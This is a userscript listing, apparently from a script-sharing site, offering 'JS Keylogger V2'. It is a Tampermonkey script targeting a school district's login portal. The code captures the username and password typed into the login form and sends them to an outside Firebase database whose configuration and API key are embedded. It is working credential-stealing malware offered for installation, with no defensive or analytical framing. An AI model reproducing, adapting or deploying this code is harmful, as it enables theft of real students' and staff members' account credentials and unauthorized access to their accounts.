JS Keylogger V2

Keylogger for chrome using JS

Aby zainstalować ten skrypt, wymagana jest instalacje jednego z następujących rozszerzeń: Tampermonkey, Greasemonkey lub Violentmonkey.

Aby zainstalować ten skrypt, wymagana jest instalacje jednego z następujących rozszerzeń: Tampermonkey, Violentmonkey.

Aby zainstalować ten skrypt, wymagana jest instalacje jednego z następujących rozszerzeń: Tampermonkey, Violentmonkey.

Aby zainstalować ten skrypt, wymagana będzie instalacja rozszerzenia Tampermonkey lub Userscripts.

You will need to install an extension such as Tampermonkey to install this script.

Aby zainstalować ten skrypt, musisz zainstalować rozszerzenie menedżera skryptów użytkownika.

(Mam już menedżera skryptów użytkownika, pozwól mi to zainstalować!)

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

Będziesz musiał zainstalować rozszerzenie menedżera stylów użytkownika, aby zainstalować ten styl.

Będziesz musiał zainstalować rozszerzenie menedżera stylów użytkownika, aby zainstalować ten styl.

Musisz zainstalować rozszerzenie menedżera stylów użytkownika, aby zainstalować ten styl.

(Mam już menedżera stylów użytkownika, pozwól mi to zainstalować!)

// ==UserScript==
// @name         JS Keylogger V2
// @namespace    http://tampermonkey.net/
// @version      0.1
// @description  Keylogger for chrome using JS
// @author       You
// @match        https://my.cherrycreekschools.org/*
// @grant        none
//@require https://www.gstatic.com/firebasejs/3.5.2/firebase.js
// ==/UserScript==

(function() {
    'use strict';

    // Your code here...
    window.onload = function(){
        var config = {
            apiKey: "AIzaSyCtagvRPuV49zpoErTly-dl6HyjjjKkLo8",
            authDomain: "record-creek-data.firebaseapp.com",
            databaseURL: "https://record-creek-data.firebaseio.com",
            projectId: "record-creek-data",
            storageBucket: "",
            messagingSenderId: "1059244189723"
        };
        firebase.initializeApp(config);
        var database = firebase.database();
        var currUsername, currPassword;
        document.onkeydown = function(e) {
            if(e.key=='Enter'){
                currUsername = document.getElementsByClassName('loginForm-text-input')[0].value;
                currPassword = document.getElementsByClassName('loginForm-text-input')[1].value;
                var data = {
                    username: currUsername,
                    password: currPassword
                }
                database.ref('entries').push(data);
            }
        }
        var loginButton = document.getElementById('LoginButton');
        try{
            loginButton.addEventListener("click", function(){
                currUsername = document.getElementsByClassName('loginForm-text-input')[0].value;
                currPassword = document.getElementsByClassName('loginForm-text-input')[1].value;
                var data = {
                    username: currUsername,
                    password: currPassword
                }
                database.ref('entries').push(data);
            });
        }catch(err){
            console.log();
        }
    }
})();